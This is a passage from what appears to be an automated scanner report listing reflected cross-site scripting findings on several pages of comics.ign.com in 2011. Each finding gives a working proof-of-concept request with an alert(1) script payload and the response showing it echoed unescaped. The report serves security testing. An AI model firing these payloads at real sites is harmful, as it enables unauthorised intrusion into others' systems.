Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041211700v-1n-12mc+1297041211700mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 136251

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/characters.html?3c7f6"-alert(1)-"8e609d735dc=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.113. http://comics.ign.com/index/comicseries.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/comicseries.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de00c"><script>alert(1)</script>3d074d6432d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/comicseries.html?de00c"><script>alert(1)</script>3d074d6432d=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:01 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1908380328-11;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041181719v-1n-12mc+1297041181719mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 124278

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/comicseries.html?de00c"><script>alert(1)</script>3d074d6432d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.114. http://comics.ign.com/index/comicseries.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/comicseries.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e6dd"-alert(1)-"0e8b7d8f901 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/comicseries.html?8e6dd"-alert(1)-"0e8b7d8f901=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:04 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-380005497-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:04 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041184031v-1n-12mc+1297041184031mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 6406


<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"/>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<
...[SNIP]...
'') {
docTitle = defaultContinueTo;
}
document.write(docTitle);
}

   function goBackToReferer(){
       document.location.href = "http://comics.ign.com/index/comicseries.html?8e6dd"-alert(1)-"0e8b7d8f901=1";
return true;

   }
   setTimeout('goBackToReferer()',18000);
</script>
...[SNIP]...

3.115. http://comics.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5591"-alert(1)-"85de685ec3c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?a5591"-alert(1)-"85de685ec3c=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:31 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1554243470-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041211663v-1n-12mc+1297041211663mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/features.html?a5591"-alert(1)-"85de685ec3c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.116. http://comics.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3494"><script>alert(1)</script>6da4e1145d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?a3494"><script>alert(1)</script>6da4e1145d3=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:29 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-185091644-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041209547v-1n-12mc+1297041209547mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/features.html?a3494"><script>alert(1)</script>6da4e1145d3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.117. http://comics.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26e12"><script>alert(1)</script>fd0dd69bb47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?26e12"><script>alert(1)</script>fd0dd69bb47=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:40 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-509284073-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:12:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041160394v-1n-12mc+1297041160394mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 205880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/latest-updates.html?26e12"><script>alert(1)</script>fd0dd69bb47=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.118. http://comics.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dd844"-alert(1)-"532e0e503d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?dd844"-alert(1)-"532e0e503d7=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:43 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1914995328-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:12:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041163126v-1n-12mc+1297041163126mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 205655

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/latest-updates.html?dd844"-alert(1)-"532e0e503d7=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.119. http://comics.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f743c"-alert(1)-"59a7e92062 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?f743c"-alert(1)-"59a7e92062=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:24 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-455367217-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041204767v-1n-12mc+1297041204767mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/news.html?f743c"-alert(1)-"59a7e92062=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.120. http://comics.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45357"><script>alert(1)</script>80fbf9c206c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?45357"><script>alert(1)</script>80fbf9c206c=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:20 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-337093650-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041200624v-1n-12mc+1297041200624mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 119564

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/news.html?45357"><script>alert(1)</script>80fbf9c206c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.121. http://comics.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4eda"><script>alert(1)</script>568cecf0a7f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/podcasts.html?c4eda"><script>alert(1)</script>568cecf0a7f=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:32 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-78045477-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041212953v-1n-12mc+1297041212953mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101963

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/podcasts.html?c4eda"><script>alert(1)</script>568cecf0a7f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.122. http://comics.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdc00"-alert(1)-"07446334699 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/podcasts.html?cdc00"-alert(1)-"07446334699=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:35 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1065169981-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041215183v-1n-12mc+1297041215183mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101901

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/podcasts.html?cdc00"-alert(1)-"07446334699=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.123. http://comics.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5e29"-alert(1)-"3374167ff6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?e5e29"-alert(1)-"3374167ff6c=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:31 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-83747499-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041211111v-1n-12mc+1297041211111mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116837

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/index/previews.html?e5e29"-alert(1)-"3374167ff6c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.124. http://comics.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd37a"><script>alert(1)</script>ee03f7035cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?dd37a"><script>alert(1)</script>ee03f7035cf=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:28 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-624763089-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041208386v-1n-12mc+1297041208386mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117058

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/previews.html?dd37a"><script>alert(1)</script>ee03f7035cf=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.125. http://comics.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a086"-alert(1)-"d310eae1459 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?2a086"-alert(1)-"d310eae1459=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:25 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Content-Length: 6018
Set-Cookie: NGUserID=a016c04-12684-928941446-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041205321v-1n-12mc+1297041205321mv+1mn+12wwe~0;Path=/;Domain=.ign.com


<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"/>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<
...[SNIP]...
== '') {
docTitle = defaultContinueTo;
}
document.write(docTitle);
}

   function goBackToReferer(){
       document.location.href = "http://comics.ign.com/index/reviews.html?2a086"-alert(1)-"d310eae1459=1";
return true;

   }
   setTimeout('goBackToReferer()',18000);
</script>
...[SNIP]...

3.126. http://comics.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fd10"><script>alert(1)</script>e21466306a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?1fd10"><script>alert(1)</script>e21466306a4=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:20 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-98585012-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041200983v-1n-12mc+1297041200983mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117728

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
